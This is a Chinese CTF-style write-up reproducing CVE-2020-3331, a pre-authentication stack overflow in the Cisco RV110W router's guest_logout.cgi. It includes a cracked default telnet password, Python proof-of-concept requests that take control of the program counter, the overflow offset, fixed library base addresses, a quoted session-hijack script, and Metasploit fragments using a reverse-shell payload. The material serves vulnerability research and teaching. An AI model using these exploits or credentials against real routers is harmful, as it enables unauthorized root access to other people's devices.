思科路由器 RV110W CVE-2020-3331 漏洞复现

Realworld赛题,要求挖掘并利用CISCO RV110W-E-CN-K9(固件版本1.2.2.5)中的漏洞,获取路由器的Root Shell。攻击演示时的目标设备端口只开启了443端口的https服务,且不知道路由器的Web登录账号,故其实要求就是路由器Web的前台getshell。

image

该设备进入后台的初始用户名密码是cisco:cisco,并且后台有固件升级的功能,可以直接将题目的附件刷进去。

基础分析

对一个真实设备的分析可以有不同方面的各种手段:

  • 本体:设备拆解,固件提取,固件分析
  • 通信:流量抓取,端口扫描,近场无线信号分析
  • 使用:应用程序(app)逆向,云端接口分析
  • 历史:历史漏洞,分析对比历史版本的固件或app
  • 调试:各种调试接口(ssh/telnet/adb/uart/jtag),前置漏洞getshell,uboot修改init,qemu模拟

这里我们仅使用部分手段则足够分析出目标漏洞点

端口扫描

如果是面对一个真实的设备,我们需要了解其所有可能的攻击面,故我们需要扫描其全部的udp和tcp端口:

sudo nmap -sU -sT -p0-65535 192.168.122.1

但是对于这种路由器题目来说,估计一般还是出现Web接口上,故扫描常用端口:

➜  nmap 192.168.1.1           
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-01 22:34 CST
Nmap scan report for 192.168.1.1
Host is up (0.11s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE
23/tcp  open  telnet
80/tcp  open  http
81/tcp  open  hosts2-ns
443/tcp open  https
444/tcp open  snpp

发现我们手中的设备是开启了telnet的,但是不知道用户名密码,另外80会重定向到443:

➜  curl -v http://192.168.1.1
*   Trying 192.168.1.1...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.1.1
> User-Agent: curl/7.64.1
> Accept: */*
> 
< HTTP/1.1 302 Redirect
< Server: httpd
< Date: Fri, 01 Jan 2010 01:45:01 GMT
< Location: https://192.168.1.1
< Content-Type: text/plain
< Connection: close
< 
* Closing connection 0

但实际攻击的路由器只开了443端口,故还是找路由器的Web接口上的漏洞。

固件解包

对于真实设备获得其固件的方法是多种多样:

看雪2018峰会回顾_智能设备漏洞挖掘中几个突破点

  • 从设备上提取
  • 官网、论坛下载
  • 升级过程抓取
  • 找各种渠道购买
  • 等等

这里是给定的固件版本,通过固件解包可以得到设备的程序文件,以确定设备的平台架构以及程序逻辑。对于目标固件,如果没有安装sasquatch这个binwalk需要的组件是无法解开的:

➜  binwalk -Me RV110W_FW_1.2.2.5.bin 

Scan Time:     2020-11-01 22:03:59
Target File:   RV110W_FW_1.2.2.5.bin
MD5 Checksum:  10ca3292c5aeb5b4c77ddb98c0b6d663
Signatures:    404

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
32            0x20            TRX firmware header, little endian, image size: 10715136 bytes, CRC32: 0x6320519F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x173BA4, rootfs offset: 0x0
60            0x3C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4299308 bytes

WARNING: Extractor.execute failed to run external extractor 'sasquatch -p 1 -le -d 'squashfs-root' '%e'': [Errno 2] No such file or directory, 'sasquatch -p 1 -le -d 'squashfs-root' '%e'' might not be installed correctly

需要参考binwalk的安装文档:Before You Start,安装sasquatch以解开非标准的SquashFS文件系统:

# Install sasquatch to extract non-standard SquashFS images
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ (cd sasquatch && ./build.sh)

不过在编译时遇到错误:

xz_wrapper.h:50:2: error: unknown type name 'lzma_vli'

解决方法:binwalk 安装 与使用 xz_wrapper.h:50:2: error: unknown type name ‘lzma_vli’

  1. cd squashfs-tools
  2. 编辑Makefile以注释掉XZ_SUPPORT = 1行
  3. sudo make && sudo make instal

之后再binwalk -Me RV110W_FW_1.2.2.5.bin即可解压出完整的文件系统:

➜  file sbin/rc 
sbin/rc: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

确认目标平台为:MIPS 32位 小端

漏洞信息

在开始时,我们并不知道这个漏洞是什么。Realworld赛题,一般是1day或者出题人造出的洞,给了设备的低版本固件,故猜测是1day。所以,故可以搜集关于此设备的漏洞。常用搜索站点如下,虽然俗套,但是管用:

CVE 搜集

最基本的方法就是在CVE的官网上搜索设备相关信息,这里我们搜索RV110W。截止到写稿时间(2020.11.01),可以看到2020年相关的CVE并且未经身份验证的(前台)的漏洞:

CVE编号 漏洞详情
CVE-2020-3331 Cisco RV110W Wireless-N VPN防火墙和Cisco RV215W Wireless-N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于基于Web的管理界面未正确验证用户提供的输入数据而引起的。攻击者可以通过向特定设备发送精心设计的请求来利用此漏洞。成功的利用可能使攻击者利用root用户的特权执行任意代码。
CVE-2020-3330 Cisco Small Business RV110W Wireless-N VPN防火墙路由器的Telnet服务中的漏洞可能允许未经身份验证的远程攻击者完全控制具有高特权帐户的设备。存在此漏洞是因为系统帐户具有默认的静态密码。攻击者可以通过使用此默认帐户连接到受影响的系统来利用此漏洞。成功利用此漏洞可能使攻击者获得对受影响设备的完全控制。
CVE-2020-3323 Cisco Small Business RV110W,RV130,RV130W和RV215W路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于在基于Web的管理界面中未正确验证用户提供的输入而引起的。攻击者可以通过向目标设备发送特制的HTTP请求来利用此漏洞。成功的利用可能使攻击者能够以root用户身份在受影响设备的基础操作系统上执行任意代码。
CVE-2020-3150 Cisco Small Business RV110W和RV215W系列路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者从设备下载敏感信息,其中可能包括设备配置。该漏洞是由于对HTTP请求的授权不当造成的。攻击者可以通过在路由器的基于Web的管理界面上访问特定的URI来利用此漏洞,但这仅在自上次重新启动以来任何有效用户打开设备上的特定文件之后。成功利用此漏洞将使攻击者可以查看敏感信息,应对此加以限制。
CVE-2020-3144 思科RV110W无线N VPN防火墙,RV130 VPN路由器,RV130W无线N多功能VPN路由器和RV215W无线N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者绕过身份验证并执行受影响的设备上带有管理命令的任意命令。该漏洞是由于受影响的设备上的会话管理不当引起的。攻击者可以通过向受影响的设备发送特制的HTTP请求来利用此漏洞。成功利用该漏洞可能使攻击者获得受影响设备上的管理访问权限。

点进去看思科官方的通告可以看到,这些都是在1.2.2.8版本才被修的,总结下来就是:

  • 3144:绕过前台认证,到后后台命令执行
  • 3150:要求有经过认证的用户登录过的文件下载
  • 3330:telnet密码
  • 3331、3323:前台RCE

也可以在Cisco Security的官方站点上搜索rv110w并筛选出严重漏洞:

https://tools.cisco.com/security/center/publicationListing.x?product=Cisco&keyword=rv110w&impact=critical&sort=-day_sir#~Vulnerabilities

image

和上面我们筛选出来的重合的是:3330、3323、3331、3144这四个洞,排除了3150这个看起来的确鸡肋的洞。继续查找资料找到对于3144的利用:Breaking Cisco RV110W, RV130, RV130W, and RV215W. Again.

#!/usr/bin/env python
import requests
from time import sleep
import re
payload = {
    "submit_button":"login",
    "submit_type":"continue",
    "gui_action":"gozila_cgi",
}
while True:
    try:
        resp = requests.post(
            "https://192.168.1.1/login.cgi",
            data=payload,
            verify=False
        )
        if "Login Page" in resp.content:
            sleep(1)
        else:
            sessionid = re.findall(r"session_id=([^\"]+)", resp.content)[0]
            print("[+] Successfully hijacked admin session. Session id is
            {}".format(sessionid))
            break
    except KeyboardInterrupt as e:
        break

所以3144在有账户正常登录的前提下,与赛题要求不符。故3150也要求不符。所以有可能用上的漏洞是:

  • CVE-2020-3331
  • CVE-2020-3323
  • CVE-2020-3330

CVE-2019-1663(无效)

在exploit-db上找到针对此CVE的exp:https://www.exploit-db.com/exploits/47348,但其需要的版本是1.2.2.1之前。exp经过测试无效。不过通过这个exp还是能分析出不少东西:首先可以看到RV110是MIPS平台的,而RV130是ARM平台的。

[ 'Cisco RV110W 1.2.1.7',
            {
              'offset'              => 69,
              'libc_base_addr'      => 0x2af98000,
              'libcrypto_base_addr' => 0x2ac4f000,
              'system_offset'       => 0x0004c7e0,
              'got_offset'          => 0x00098db0,
              # gadget 1 is in /usr/lib/libcrypto.so
              'gadget1'             => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
              'Arch'                => ARCH_MIPSLE,
              'DefaultOptions'  => {
                'PAYLOAD'         => 'linux/mipsle/meterpreter_reverse_tcp',
              }
            }
          ],
          [ 'Cisco RV130/RV130W < 1.0.3.45',
            {
              'offset'          => 446,
              'libc_base_addr'  => 0x357fb000,
              'system_offset'   => 0x0004d144,
              'gadget1'         => 0x00020e79, # pop {r2, r6, pc};
              'gadget2'         => 0x00041308, # mov r0, sp; blx r2;
              'Arch'            => ARCH_ARMLE,
              'DefaultOptions'  => {
                'PAYLOAD'         => 'linux/armle/meterpreter_reverse_tcp',
              }
            },
          ],

然后还可以看出来是login.cgi的栈溢出:

def prepare_shellcode(cmd)
    case target
    # RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7
    # RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8
    when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11]
      shellcode = rand_text_alpha(target['offset']) +           # filler
        rand_text_alpha(4) +                                    # $s0
        rand_text_alpha(4) +                                    # $s1
        rand_text_alpha(4) +                                    # $s2
        rand_text_alpha(4) +                                    # $s3
        p(target['libc_base_addr'], target['system_offset']) +  # $s4
        rand_text_alpha(4) +                                    # $s5
        rand_text_alpha(4) +                                    # $s6
        rand_text_alpha(4) +                                    # $s7
        rand_text_alpha(4) +                                    # $s8
        p(target['libcrypto_base_addr'], target['gadget1']) +   # $ra
        p(target['libc_base_addr'], target['got_offset']) +
        rand_text_alpha(28) +
        cmd
      shellcode
    when targets[5] # RV130/RV130W
      shellcode = rand_text_alpha(target['offset']) +           # filler
        p(target['libc_base_addr'], target['gadget1']) +
        p(target['libc_base_addr'], target['system_offset']) +  # r2
        rand_text_alpha(4) +                                    # r6
        p(target['libc_base_addr'], target['gadget2']) +        # pc
        cmd
      shellcode
    end
  end

  def send_request(buffer)
    begin
      send_request_cgi({
        'uri'     => '/login.cgi',
        'method'  => 'POST',
        'vars_post' => {
              "submit_button": "login",
              "submit_type": "",
              "gui_action": "",
              "wait_time": 0,
              "change_action": "",
              "enc": 1,
              "user": rand_text_alpha_lower(5),
              "pwd": buffer,
              "sel_lang": "EN"
          }
      })

找到分析文章:

虽然本洞与此题无关,不过可以知道是strcpy引发的栈溢出

CVE-2020-3330(telnet弱口令)

找到了对CVE-2020-3330分析的文章:一个字节的差错导致Cisco防火墙路由器远程代码执行

image

由于这里打码,我们直接在固件里全局搜一下aUzX1I,发现一堆文件matches,不过发现大部分文件都是软连接,指向sbin/rc,故直接看一下这个文件:

➜  strings sbin/rc | grep "admin:\\\$"
echo 'admin:$1$aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.:15880:0:99999:7:::' > /etc/shadow

hashcat或者cmd5可知用户名密码为:admin:Admin123,尝试登陆可以成功:

➜ telnet 192.168.1.1   
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
RV110W login: admin
Password: 


BusyBox v1.7.2 (2019-04-22 16:08:01 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# 

故我们通过此漏洞直接在本地拿到了设备的shell,有了真机的调试环境,那就不需要拆机找调试接口了。

确定目标

因为CVE-2020-3331和CVE-2020-3323都说的是Web,而且目标也只开放了443端口,故我们先找到Web对应的二进制程序,有两种方式:

  1. 固件搜索Web相关的二进制程序
  2. 在设备shell中查看端口绑定的进程对应的程序

固件搜索

因为看到登录的url为:https://192.168.1.1/login.cgi,所以可以尝试全局搜索login.cgi

grep -Rn "login.cgi" * 2>/dev/null
Binary file usr/sbin/httpd matches
www/login.asp:453:<FORM id=frm name=login method=<% get_http_method(); %> action="login.cgi" onKeyDown=chk_keypress(event) autocomplete=off>

usr/sbin/httpd应该是Web程序

端口分析

telnet进去之后我们发现设备自带的netstat无法查看端口对应进程号:

# netstat -h 
netstat: invalid option -- h
BusyBox v1.7.2 (2019-04-22 16:08:01 CST) multi-call binary

Usage: netstat [-laentuwxrW]

Display networking information

Options:
        -l      Display listening server sockets
        -a      Display all sockets (default: connected)
        -e      Display other/more information
        -n      Don't resolve names
        -t      Tcp sockets
        -u      Udp sockets
        -w      Raw sockets
        -x      Unix sockets
        -r      Display routing table
        -W      Display with no column truncation

所以可以下载一版比较全的busybox:

https://busybox.net/downloads/binaries/1.21.1/busybox-mipsel

如果路由器没有配置wan口则可以在本机开web服务:

➜  python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

在路由器上使用wget下载,不过在下载前可以检查一下文件系统是否有写权限,一般来说/tmp目录是肯定可以写的,不过这个目录一般也无法持久化保存,重启后一般不会保存。另外还需要查看一下可写目录的空间是否足够大,可以使用df -h命令,不过一般来说,传个busybox和gdbserver上去是不成问题的:

$ cd /tmp
$ wget http://192.168.1.100:8000/busybox-mipsel
Connecting to 192.168.1.100:8000 (192.168.1.100:8000)
busybox-mipsel       100% |*******************************|  1539k 00:00:00 ETA

下载完使用这个busybox里的netstat:

$ ./busybox-mipsel netstat -pantu | grep 443
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      356/httpd
tcp        0      0 :::443                  :::*                    LISTEN      356/httpd
$ ls -al /proc/356/exe
lrwxrwxrwx    1 admin    admin           0 Jan  1 00:06 /proc/356/exe -> /usr/sbin/httpd

也可以确定是/usr/sbin/httpd这个程序

目标分析

因为是MIPS,所以天生没有NX:

➜  file httpd 
httpd: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
➜  checksec httpd 
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

可以用ghidra或者IDA高版本反汇编MIPS目标程序,不过真实固件程序分析起来还是很复杂的,除了从main函数硬看还有很多取巧一点的经验办法:

  1. 看符号,程序日志log,等有含义的字符串信息
  2. 和已经修复漏洞的固件进行对比
  3. 找和已知漏洞类似的模式,因为同一款产品很有可能犯同一种错误

这里因为可以拿到新版本的固件,所以我们采用这种方式继续分析

固件对比

可以在思科官网上下载到新版的固件:Wireless Router Firmware 1.2.2.8(MD),这个固件是已经修复了CVE-2020-3331和CVE-2020-3323这两个前台RCE,故应该是可以比对出来的,这也是目前情境下的最优方案。所以还是用binwalk解包最新固件,然后对比httpd这个二进制程序。那么如何对比两个二进制程序的异同呢?使用bindiff这个工具:

bindiff

这个工具是可以集成在IDA或ghidra中的插件,不过单独有自己的界面,介绍:ida又一神器插件复活了bindiff

这个工具在安装过程中需要指明IDA的目录,安装完之后就可以在IDA工具栏的File菜单看到这个工具。由于对比肯定是需要两个文件,先要用IDA分析一个程序并保存成idb,然后再用IDA开另一个程序,然后使用这个插件进行对比。然后即可在Matched Functions界面看到如下,越往下是越不匹配的函数,越可疑:

image

因为是目标是前台getshell,所以目标guest_logout_cgi很可疑,右键点击这个函数,使用View flow graphs功能打开bindiff本体,进入图形化的函数对比界面:

  • 绿色:相同的基本块
  • 黄色:修改的基本块
  • 红色:删掉的基本块
  • 灰色:新加的基本块

故重点放在黄色和红色的基本块上,发现一个危险的函数:sscanf

image

那么guest_logout_cgi函数对应的url路由是什么呢?很遗憾我并没有从程序中分析出来,感觉有可能是init_cgi这个函数设置的,但是继续交叉引用到父级函数就没有结果了,于是搜索字符串找到:guest_logout.cgi,估计是他,但是还是没有交叉引用分析出来。测试一下是可以访问的:

➜  curl -k -v https://192.168.1.1/guest_logout.cgi
*   Trying 192.168.1.1...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 443 (#0)
< HTTP/1.1 200 Ok
< Server: httpd
< Date: Fri, 01 Jan 2010 05:56:09 GMT
< Cache-Control: no-cache
< Pragma: no-cache
< Expires: 0
< Content-Type: text/html
< Connection: close

diaphora

另外固件对比也可以使用https://github.com/joxeankoret/diaphora/,缺点是速度太慢,优点是找到差异函数后可以直接对比c的伪码,效果和bindiff差别不大。入门参考:二进制文件比较工具bindiff/diaphora初体验

image

guest_logout.cgi

搜索发现这是个有前科的cgi:360代码卫士帮助思科公司修复多个产品高危安全漏洞(附详细技术分析),我们分析一下这个在高版本中被删掉的sscanf,以下代码略有精简:

  v5 = (const char *)get_cgi((char *)&unk_480000 + 6576);
  v10 = (const char *)get_cgi("cip");
  v11 = (const char *)get_cgi("submit_button");
  if ( !v11 )
    v11 = "";
  if ( v5 && v10 )
  {
    if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
    {
      if ( !strstr(v11, "status_guestnet.asp") )
        goto LABEL_31;
      sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);

看起来sscanf真的是栈溢出,这里解释一下这个类似正则的东西:%[^;];%*[^=]=%[^\n],这里% 表示选择,%* 表示过滤,中括号括起来的是类似正则的字符集,意思就是:

  1. %[^;]:分号前的所有字符都要
  2. ;%*[^=]:分号后,等号前的字符都不要
  3. =%[^\n]:等号后,换行符前的所有字符都要

举个例子就是,如果输入是aaa;bbb=ccc,那么v29是aaa,v28是ccc。scanf也是支持这个东西的,可以自己测试一下。另外发现给v5赋值这句的字符串没有识别出来:

v5 = (const char *)get_cgi((char *)&unk_480000 + 6576);

计算一下地址是:0x480000 + 0x19B0 == 0x004819B0,看一下这个地址的内容

.rodata:004819B0 aCmac:          .ascii "cmac"<0>     

故分析程序路径要到达这个sscanf得有三个参数且满足对应的要求:

  1. cmac:mac地址格式
  2. cip:ip地址格式
  3. submit_button: 包含status_guestnet.asp

那这个参数到底是GET发过去还是POST发过去呢?除了硬怼静态分析这个程序,还可以直接发包测试或者打断点调试。因为这里可能触发漏洞,所以最优的选择就是直接发包测试,如果程序崩了,则证明GET还是POST路径选对了,而且真的存在漏洞。不过就算程序看起来没崩,也不要灰心,因为这里要确定是否有Web程序的守护进程存在,如果存在守护进程则可能看不到打崩的效果了。

发包测试

测试可以使用requests或者burp进行发包,发现用GET打完没事,但是用POST打完Web就无法访问了:

import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
#requests.get(url, data=payload, verify=False, timeout=1)
requests.post(url, data=payload, verify=False, timeout=1)

burp的HTTP正文:

POST /guest_logout.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 174

cmac=12:af:aa:bb:cc:dd&cip=192.168.1.100&submit_button=status_guestnet.aspaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

目标越来越近,那到底是不是栈溢出?有没有控制流劫持呢?那还是要调试httpd这个程序看一下

程序调试

在上文的端口分析中,我们已经使用busybox中的netstat分析出了目标进程:

$ ./busybox-mipsel netstat -pantu | grep  443
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      356/httpd
tcp        0      0 :::443                  :::*                    LISTEN      356/httpd

所以只需要通过gdbserver对该进程进行调试,所以我们首先需要给路由器上传一个gdbserver上去,然后挂到目标进程上,这里有海特实验室搜集的各种平台的gdbserver

$ wget http://192.168.1.100:8000/gdbserver
$ chmod +x ./gdbserver
$ ./gdbserver :1234 --attach 356

然后使用gdb-multiarch进行远程调试,调试方法可以参考:HWS夏令营 之 GDB调一切,GDB的插件中pwndbg对于mips和arm的支持比较好,并且在gdb中使用如下三条命令设置目标:MIPS小端

➜  gdb-multiarch -q httpd
pwndbg> set architecture mips
pwndbg> set endian little
pwndbg> target remote 192.168.1.1:1234
pwndbg> c

然后发刚才测试的POST报文:

import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
#requests.get(url, data=payload, verify=False, timeout=1)
requests.post(url, data=payload, verify=False, timeout=1)

可以在gdb-multiarch这端看到的确把PC寄存器控制了,而且S0-S8寄存器也都可以被控制:

0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────
 V0   0x0
 V1   0x73
 A0   0x4d81f2 (post_buf+66) ◂— 'tatus_guestnet.aspaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
 A1   0x47f785 ◂— 'ogin_guest.asp'
 A2   0x168
 A3   0x4f9ba8 ◂— 0x0
 T0   0x4f9b50 ◂— 0x0
 T1   0x4f9b50 ◂— 0x0
 T2   0x111
 T3   0xfffffff0
 T4   0x61616161 ('aaaa')
 T5   0x2b030004 (__ctype_b) —▸ 0x2afeabc0 (__C_ctype_b_data+256) ◂— 0x2000200
 T6   0xca5fb1e
 T7   0x61616161 ('aaaa')
 T8   0x10
 T9   0x2afc64d0 (strcoll) ◂— lbu    $v1, ($a0)
 S0   0x61616161 ('aaaa')
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x7fee9458 ◂— 'aaaaaaaaaaa'
 SP   0x7fee9458 ◂— 'aaaaaaaaaaa'
 PC   0x61616161 ('aaaa')

漏洞利用

关于MIPS栈溢出的漏洞利用可以参考:HWS赛题 入门 MIPS Pwn,基本思想就是ROP+shellcode。不过这两道练习题的输入方式都是read(),而本漏洞的溢出点是sscanf,故如果payload中有NULL字节则会被截断,导致攻击失败,所以在payload中需要绕过00。

确定溢出长度

设置好调试环境后,使用pwntoolscyclic函数进行发包测试

import requests
from pwn import *

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+cyclic(100),"cip":"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)

在gdb中看到劫持pc值为0x77616161,即'aaaw'

pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x77616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]───────────────────────────────────
 PC   0x77616161 ('aaaw')

使用pwntools中的cyclic_find函数,得到溢出长度为85

  python
Python 2.7.16 (default, Oct 25 2019, 20:31:23) 
[GCC 4.2.1 Compatible Apple LLVM 10.0.1 (clang-1001.0.46.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> cyclic_find("aaaw")
85

当然这个长度是在status_guestnet.asp这个固定字符串之后的长度,来让我们发个0xdeadbeef测试一下:

import requests
from pwn import *

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*85+p32(0xdeadbeef),"cip":"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)

没问题:

pwndbg> c
Continuing.

Program received signal SIGBUS, Bus error.
0xdeadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]───────────────────────────────────
 PC   0xdeadbeef

空字节绕过

对于MIPS的栈溢出来说,payload中一般含有gadget的地址和shellcode,所以这两部分都要绕过00。

gadget

如果我们直接用httpd这个程序本身的gadget,则无法满足要求,因为程序的地址是包含00的:

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00409A14  |  addiu $v1,$sp,0x178+var_158                         |  jalr  $s2                             |
|  0x00409A44  |  addiu $s0,$sp,0x178+var_64                          |  jalr  $s2                             |
|  0x00409B6C  |  addiu $a1,$sp,0x178+var_F8                          |  jalr  $s1                             |
|  0x00409B8C  |  addiu $a1,$sp,0x178+var_E0                          |  jalr  $s1                             |

而且程序没有开启PIE,故IDA中给出的地址就是最终程序的加载地址:

$ cat /proc/356/maps
00400000-00491000 r-xp 00000000 1f:02 321        /usr/sbin/httpd
004d0000-004d8000 rw-p 00090000 1f:02 321        /usr/sbin/httpd
004d8000-004fc000 rwxp 004d8000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 982        /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 2aaad000 00:00 0 
2aaae000-2aabe000 r--s 00000000 00:0b 439        /dev/nvram
2aaec000-2aaed000 r--p 00004000 1f:02 982        /lib/ld-uClibc.so.0
2aaed000-2aaee000 rw-p 00005000 1f:02 982        /lib/ld-uClibc.so.0
2aaee000-2aaf2000 r-xp 00000000 1f:02 298        /usr/lib/libnvram.so
2aaf2000-2ab32000 ---p 2aaf2000 00:00 0 
2ab32000-2ab33000 rw-p 00004000 1f:02 298        /usr/lib/libnvram.so
2ab33000-2ab75000 r-xp 00000000 1f:02 304        /usr/lib/libshared.so
2ab75000-2abb5000 ---p 2ab75000 00:00 0 
2abb5000-2abb9000 rw-p 00042000 1f:02 304        /usr/lib/libshared.so
2abb9000-2abbd000 rw-p 2abb9000 00:00 0 
2abbd000-2abcc000 r-xp 00000000 1f:02 194        /usr/lib/libcbt.so
2abcc000-2ac0b000 ---p 2abcc000 00:00 0 
2ac0b000-2ac0c000 rw-p 0000e000 1f:02 194        /usr/lib/libcbt.so
2ac0c000-2ac0e000 r-xp 00000000 1f:02 984        /lib/libdl.so.0
2ac0e000-2ac4d000 ---p 2ac0e000 00:00 0 
2ac4d000-2ac4e000 r--p 00001000 1f:02 984        /lib/libdl.so.0
2ac4e000-2ac4f000 rw-p 00002000 1f:02 984        /lib/libdl.so.0
2ac4f000-2ae3c000 r-xp 00000000 1f:02 311        /usr/lib/libcrypto.so
2ae3c000-2ae7c000 ---p 2ae3c000 00:00 0 
2ae7c000-2ae94000 rw-p 001ed000 1f:02 311        /usr/lib/libcrypto.so
2ae94000-2ae98000 rw-p 2ae94000 00:00 0 
2ae98000-2af02000 r-xp 00000000 1f:02 301        /usr/lib/libssl.so
2af02000-2af42000 ---p 2af02000 00:00 0 
2af42000-2af48000 rw-p 0006a000 1f:02 301        /usr/lib/libssl.so
2af48000-2af58000 r-xp 00000000 1f:02 988        /lib/libgcc_s.so.1
2af58000-2af97000 ---p 2af58000 00:00 0 
2af97000-2af98000 rw-p 0000f000 1f:02 988        /lib/libgcc_s.so.1
2af98000-2afef000 r-xp 00000000 1f:02 986        /lib/libc.so.0
2afef000-2b02f000 ---p 2afef000 00:00 0 
2b02f000-2b030000 r--p 00057000 1f:02 986        /lib/libc.so.0
2b030000-2b031000 rw-p 00058000 1f:02 986        /lib/libc.so.0
2b031000-2b036000 rw-p 2b031000 00:00 0 
7fdd9000-7fdee000 rwxp 7fdd9000 00:00 0          [stack]

那可不可以使用动态库中的gadget呢?我们来看一下内核的地址空间随机化的保护:

$ cat /proc/sys/kernel/randomize_va_space
1

可以在linux源码中的文档找到对randomize_va_space的解释:

value info
0 Turn the process address space randomization off. This is the default for architectures that do not support this feature anyways, and kernels that are booted with the “norandmaps” parameter.
1 Make the addresses of mmap base, stack and VDSO page randomized. This, among other things, implies that shared libraries will be loaded to random addresses. Also for PIE-linked binaries, the location of code start is randomized. This is the default if the CONFIG_COMPAT_BRK option is enabled.
2 Additionally enable heap randomization. This is the default if CONFIG_COMPAT_BRK is disabled.There are a few legacy applications out there (such as some ancient versions of libc.so.5 from 1996) that assume that brk area starts just after the end of the code+bss. These applications break when start of the brk area is randomized. There are however no known non-legacy applications that would be broken this way, so for most systems it is safe to choose full randomization.Systems with ancient and/or broken binaries should be configured with CONFIG_COMPAT_BRK enabled, which excludes the heap from process address space randomization.

所以当randomize_va_space为1时,动态库的地址是随机的。但是!!!思科的这个设备,httpd进程的libc基址就是2af98000,无论你是重启进程,还是升级版本,这个基址都不变,可以看到之前CVE-2019-1633的exp中,libc基址也是2af98000

'Cisco RV110W 1.2.1.7',
            {
              'offset'              => 69,
              'libc_base_addr'      => 0x2af98000,
              'libcrypto_base_addr' => 0x2ac4f000,
              'system_offset'       => 0x0004c7e0,
              'got_offset'          => 0x00098db0,
              # gadget 1 is in /usr/lib/libcrypto.so
              'gadget1'             => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
              'Arch'                => ARCH_MIPSLE,
              'DefaultOptions'  => {
                'PAYLOAD'         => 'linux/mipsle/meterpreter_reverse_tcp',
              }
            }
          ],

